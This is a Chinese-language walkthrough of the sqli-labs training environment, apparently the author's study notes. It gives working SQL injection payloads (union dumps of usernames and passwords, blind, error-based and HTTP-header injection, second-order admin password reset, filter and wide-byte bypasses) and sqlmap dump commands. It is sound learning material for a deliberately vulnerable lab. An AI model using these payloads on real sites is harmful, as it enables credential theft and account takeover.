sqli-lab通常都是1-2关为相同的知识点,然后细节处不同。到这里1-35关基本都阐述完毕。接下来的关卡后续会补上。
通过‘‘1’’LIMIT 0,1’ 立即推理,‘1’‘LIMIT 0,1 分析格式为select from…where id=’?’ 加注释–+,验证成功
判断字段数为3
直接爆库
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
```sql
0' union select 1,group_concat(username,0x3a,password),3 from users--+
爆库不说了,直接分析注入点
Less2
'‘LIMIT 0,1’ 去掉闭合 'LIMIT 0,1 分析格式为select from…where id=?
Less3
‘‘1’’)LIMIT 0,1’ 去掉闭合 ‘1’’)LIMIT 0,1 分析格式为select from…where id=(’?’)
验证成功
Less4
输入单引号无报错,输入/报错
与Less3的区别只是单引号与双引号的区别,不再赘述。
id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟
验证成功,这种手工极麻烦,直接上sqlmap比较明智
Less6把Less5的单引号改成双引号即可
换一下布尔型(本题时间型一样可做):正确会回显,错误无回显
判断库名长度
?id=1' and length(database())=8--+
?id=1' and left((select database()),1)='s'--+
最后得到库名?id=1’ and left((select database()),8)=‘security’–+
。。。还是直接sqlmap吧,流水线操作。
看了下题目,还是时间型。。和第5题一样
直接sqlmap
POST
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。这里借助Burpsuite完成修改任务。
注:这里网址要从127.0.0.1改为你本机IP地址,不然Burpsuite可能截取不到数据包。
截取http数据包
加’查看注入点变化
可以看出 ‘‘123456’’ LIMIT 0,1’
接下来直接加上 ‘‘123456’’ or 1 = 1 --+ LIMIT 0,1’
成功获得用户名与密码
接下来直接走sqlmap,复制Burpsuite截断的HTTP请求数据包到文本文件中。
python sqlmap.py -r less11.txt -p passwd --technique E
-r 文件路径 -p 指定探测参数
python sqlmap.py -r less11.txt -p passwd --technique E --current-db
查看当前使用的数据库,得知为security
python sqlmap.py -r less11.txt -p passwd --technique E -D security --tables
python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users --columns
python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users -C "username,password" --dump
Less12把Less11的单引号改成双引号即可,这里不再赘述。
方法同上,前面几关的整合,直接burpsuite + sqlmap爆破
HTTP头中的SQL注入。
现在很多网站都在防止SQL注入,用户提交的参数都会被过滤。
但是对于HTTP头中,提交的内容很有可能就没有进行过滤。
例如HTTP头中 User-Agent、Referer、Cookies等。
首先进行User-Agent注入。
burpsuite抓包,并对User-Agent加入’进行测试
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
接下来进行Less-19的Referer注入。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
用sqlmap
复制Burpsuite截断的HTTP请求数据包到文本文件中,把referer参数修改为*
python sqlmap.py -r less19.txt
接下来进行Less-20的cookie注入
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
走sqlmap也与上述一样
在cookie处加上*
python sqlmap.py -r less20.txt --level 3 --batch
Less21与22只是单引号与双引号的区别
这里以Less22为例
这里网站对cookie字符串进行了base64加密
输入反斜杠探测
直接走sqlmap
python sqlmap.py -r less22.txt --level 3 --batch --tamper base64encode.py
二次注入
分析网站源代码,可知没有对username进行# 的过滤
注册一个admin’#账号
登录admin’#,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd=“pass” where username =’ admin’ # ’ and password=’
也就是执行了UPDATE users SET passwd=“Pass” where username =’ admin’
用修改的密码123456,成功登录admin
Less25讲的是绕过过滤and和or的SQL注入
主要有两种方法
1、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
2、利用符号替代————and --&& or–||
也可以直接走sqlmap,这里不再赘述。
Less26讲的是绕过过滤空格的SQL注入
方法:主要通过HEX编码来绕过。
编码:hex,urlencode 换行URL编码 %0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
???
这就是The Site Protected by World’s Best Firewall?
Less 30 31基本一致,也就双引号和括号的区别,不再赘述。
宽字节SQL注入
GBK 占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I\'m hacker
本意想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:
%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,**MYSQL使用的编码也是GBK的话,就会认为%DF’ 即“%DF%5C%27”是一个宽字符。也就是“縗’”
/?id=1%df' --+
/?id=-1%df' union select 1,2,3 --+
走sqlmap
sqlmap -u “URL?id=1%df%27” --search --level 3 --risk 1 --thread 10
POST型,用burpsuite抓包
而且通过代码也知道这一关也使用了addslashes()函数,所以依旧使用宽字节注入测试。
判断字段数为2
admin%df' union select version(),database()--
get方式会通过url传送表单数据,这是一种显式的数据传输。
而对于post而言,表单数据会通过http协议的header来传送表单数据,
而且支持的数据传输长度也要多,直观的感受就是浏览的url不会变化。
从安全性上来说,post方式也要好很多。
SQL注入原理:
解释型语言的特性,在运行时由一个组件解释代码并执行,给了程序与用户交互的机会,
用户可以构造恶意代码来拼接到程序中执行。
手工注入:
1.显错注入
-普通显错注入
-各种过滤
-过滤union、select、and、or。(双写绕过,符号替代等)
-过滤空格。(HEX编码等)
-宽字节注入(addslashes()会在单引号前加一个\ 以此阻止sql注入语句闭合,可以使用宽字节绕过)
2.盲注:布尔型、时间型、报错型
3.POST型配合Burpsuite改包。
4.HTTP头中的SQL注入( User-Agent、Referer、Cookies等),可能存在加密。
自动化工具:
-sqlmap、Burpsuite
-web漏扫:OWASP-ZAP
-代码审计:Seay
记录本文一来作为自己学习sql注入的输出,二来作为笔记,三来也希望能给玩sqli-lab的同学一个小小参考,能给到或多或少的帮助。